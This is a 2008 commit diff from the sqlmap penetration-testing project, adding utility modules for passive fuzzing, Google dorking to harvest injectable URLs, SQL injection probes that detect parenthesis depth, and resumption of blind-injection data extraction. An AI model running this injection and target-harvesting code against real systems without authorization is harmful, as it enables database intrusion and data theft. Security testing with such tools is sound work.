After the storm, a restore..

This commit is contained in:
Bernardo Damele
2008-10-15 15:38:22 +00:00
commit 8e3eb45510
78 changed files with 21360 additions and 0 deletions

25
lib/utils/__init__.py Normal file
View File

@@ -0,0 +1,25 @@
#!/usr/bin/env python
"""
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

43
lib/utils/fuzzer.py Normal file
View File

@@ -0,0 +1,43 @@
#!/usr/bin/env python
"""
$Id: fuzzer.py 247 2008-07-19 23:07:26Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.data import logger
from lib.core.data import paths
from lib.request.connect import Connect as Request
def passiveFuzzing():
logMsg = "executing passive fuzzing to retrieve DBMS error messages"
logger.info(logMsg)
fuzzVectors = open(paths.FUZZ_VECTORS, "r")
for fuzzVector in fuzzVectors:
fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
payload = agent.payload(newValue=fuzzVector)
Request.queryPage(payload)

122
lib/utils/google.py Normal file
View File

@@ -0,0 +1,122 @@
#!/usr/bin/env python
"""
$Id: google.py 330 2008-08-28 21:25:48Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import cookielib
import re
import urllib2
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapRegExprException
class Google:
"""
This class defines methods used to perform Google dorking (command
line option '-g <google dork>'
"""
def __init__(self, proxyHandler):
self.__googleCookie = None
self.__matches = []
self.__cj = cookielib.LWPCookieJar()
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
self.opener.addheaders = conf.httpHeaders
def __parsePage(self, page):
"""
Parse Google dork search results page to get the list of
HTTP addresses
"""
matches = []
regExpr = "class=r\076\074a href=\042(http[s]*://.+?)\042\sclass=l"
matches = re.findall(regExpr, page, re.I | re.M)
return matches
def getTargetUrls(self):
"""
This method returns the list of hosts with parameters out of
your Google dork search results
"""
targetUrls = set()
for match in self.__matches:
if re.search("(.*?)\?(.+)", match, re.I):
targetUrls.add(match)
return targetUrls
def getCookie(self):
"""
This method is the first to be called when initializing a
Google dorking object through this library. It is used to
retrieve the Google session cookie needed to perform the
further search
"""
try:
conn = self.opener.open("http://www.google.com/ncr")
headers = conn.info()
except urllib2.HTTPError, e:
headers = e.info()
except urllib2.URLError, e:
errMsg = "unable to connect to Google"
raise sqlmapConnectionException, errMsg
def search(self, googleDork):
"""
This method performs the effective search on Google providing
the google dork and the Google session cookie
"""
if not googleDork:
return None
url = "http://www.google.com/search?"
url += "q=%s&" % urlencode(googleDork)
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
try:
conn = self.opener.open(url)
page = conn.read()
except urllib2.HTTPError, e:
page = e.read()
except urllib2.URLError, e:
errMsg = "unable to connect to Google"
raise sqlmapConnectionException, errMsg
self.__matches = self.__parsePage(page)
return self.__matches

80
lib/utils/parenthesis.py Normal file
View File

@@ -0,0 +1,80 @@
#!/usr/bin/env python
"""
$Id: parenthesis.py 357 2008-09-21 18:52:16Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapNoneDataException
from lib.core.session import setParenthesis
from lib.request.connect import Connect as Request
def checkForParenthesis():
"""
This method checks if the SQL injection affected parameter
is within the parenthesis.
"""
if kb.parenthesis != None:
return kb.parenthesis
logMsg = "testing for parenthesis on injectable parameter"
logger.info(logMsg)
count = 0
for parenthesis in range(1, 4):
query = agent.prefixQuery("%s " % (")" * parenthesis))
query += "AND %s" % ("(" * parenthesis)
randInt = randomInt()
randStr = randomStr()
if kb.injType == "numeric":
query += "%d=%d" % (randInt, randInt)
elif kb.injType == "stringsingle":
query += "'%s'='%s" % (randStr, randStr)
elif kb.injType == "likesingle":
query += "'%s' LIKE '%s" % (randStr, randStr)
elif kb.injType == "stringdouble":
query += "\"%s\"=\"%s" % (randStr, randStr)
elif kb.injType == "likedouble":
query += "\"%s\" LIKE \"%s" % (randStr, randStr)
else:
raise sqlmapNoneDataException, "unsupported injection type"
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result == kb.defaultResult:
count = parenthesis
logMsg = "the injectable parameter requires %d parenthesis" % count
logger.info(logMsg)
setParenthesis(count)

184
lib/utils/resume.py Normal file
View File

@@ -0,0 +1,184 @@
#!/usr/bin/env python
"""
$Id: resume.py 294M 2008-10-14 23:49:41Z (local) $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import dataToSessionFile
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.unescaper import unescaper
from lib.techniques.inference.blind import bisection
def queryOutputLength(expression, payload):
"""
Returns the query output length.
"""
lengthQuery = queries[kb.dbms].length
select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
miscExpr = re.search("\A(.+)", expression, re.I)
if selectTopExpr or selectDistinctExpr or selectExpr:
if selectTopExpr:
regExpr = selectTopExpr.groups()[0]
elif selectDistinctExpr:
regExpr = selectDistinctExpr.groups()[0]
elif selectExpr:
regExpr = selectExpr.groups()[0]
elif miscExpr:
regExpr = miscExpr.groups()[0]
if ( select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or len(regExpr) <= 1:
return None, None, None
if select:
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
else:
lengthExpr = lengthQuery % expression
infoMsg = "retrieving the length of query output"
logger.info(infoMsg)
output = resume(lengthExpr, payload)
if output:
return 0, output, regExpr
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr))
lengthExprUnescaped = unescaper.unescape(lengthExpr)
count, length = bisection(payload, lengthExprUnescaped)
if length == " ":
length = 0
return count, length, regExpr
def resume(expression, payload):
"""
This function can be called to resume part or entire output of a
SQL injection query output.
"""
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if not condition:
return None
resumedValue = kb.resumedQueries[conf.url][expression]
if not resumedValue:
return None
if resumedValue[-1] == "]":
resumedValue = resumedValue[:-1]
infoMsg = "read from file '%s': " % conf.sessionFile
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
if logValue:
logValue = ", ".join([value.replace("__DEL__", ", ") for value in logValue])
else:
logValue = resumedValue
if "\n" in logValue:
infoMsg += "%s..." % logValue.split("\n")[0]
else:
infoMsg += logValue
logger.info(infoMsg)
return resumedValue
# If we called this function without providing a payload it means that
# we have called it from lib/request/inject __goInband() function
# in UNION SELECT (inband) SQL injection so we return to the calling
# function so that the query output will be retrieved taking advantage
# of the inband SQL injection vulnerability.
if not payload:
return None
expressionUnescaped = unescaper.unescape(expression)
substringQuery = queries[kb.dbms].substring
select = re.search("\ASELECT ", expression, re.I)
_, length, regExpr = queryOutputLength(expression, payload)
if not length:
return None
if len(resumedValue) == int(length):
infoMsg = "read from file '%s': " % conf.sessionFile
infoMsg += "%s" % resumedValue.split("\n")[0]
logger.info(infoMsg)
if conf.sessionFile:
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
return resumedValue
elif len(resumedValue) < int(length):
infoMsg = "resumed from file '%s': " % conf.sessionFile
infoMsg += "%s..." % resumedValue.split("\n")[0]
logger.info(infoMsg)
if conf.sessionFile:
dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
if select:
newExpr = expressionUnescaped.replace(regExpr, substringQuery % (regExpr, len(resumedValue) + 1, int(length)), 1)
else:
newExpr = substringQuery % (expressionUnescaped, len(resumedValue) + 1, int(length))
missingCharsLength = int(length) - len(resumedValue)
infoMsg = "retrieving pending %d query " % missingCharsLength
infoMsg += "output characters"
logger.info(infoMsg)
_, finalValue = bisection(payload, newExpr, length=missingCharsLength)
if len(finalValue) != ( int(length) - len(resumedValue) ):
warnMsg = "the total length of the query is not "
warnMsg += "right, sqlmap is going to retrieve the "
warnMsg += "query value from the beginning now"
logger.warn(warnMsg)
return None
return "%s%s" % (resumedValue, finalValue)
return None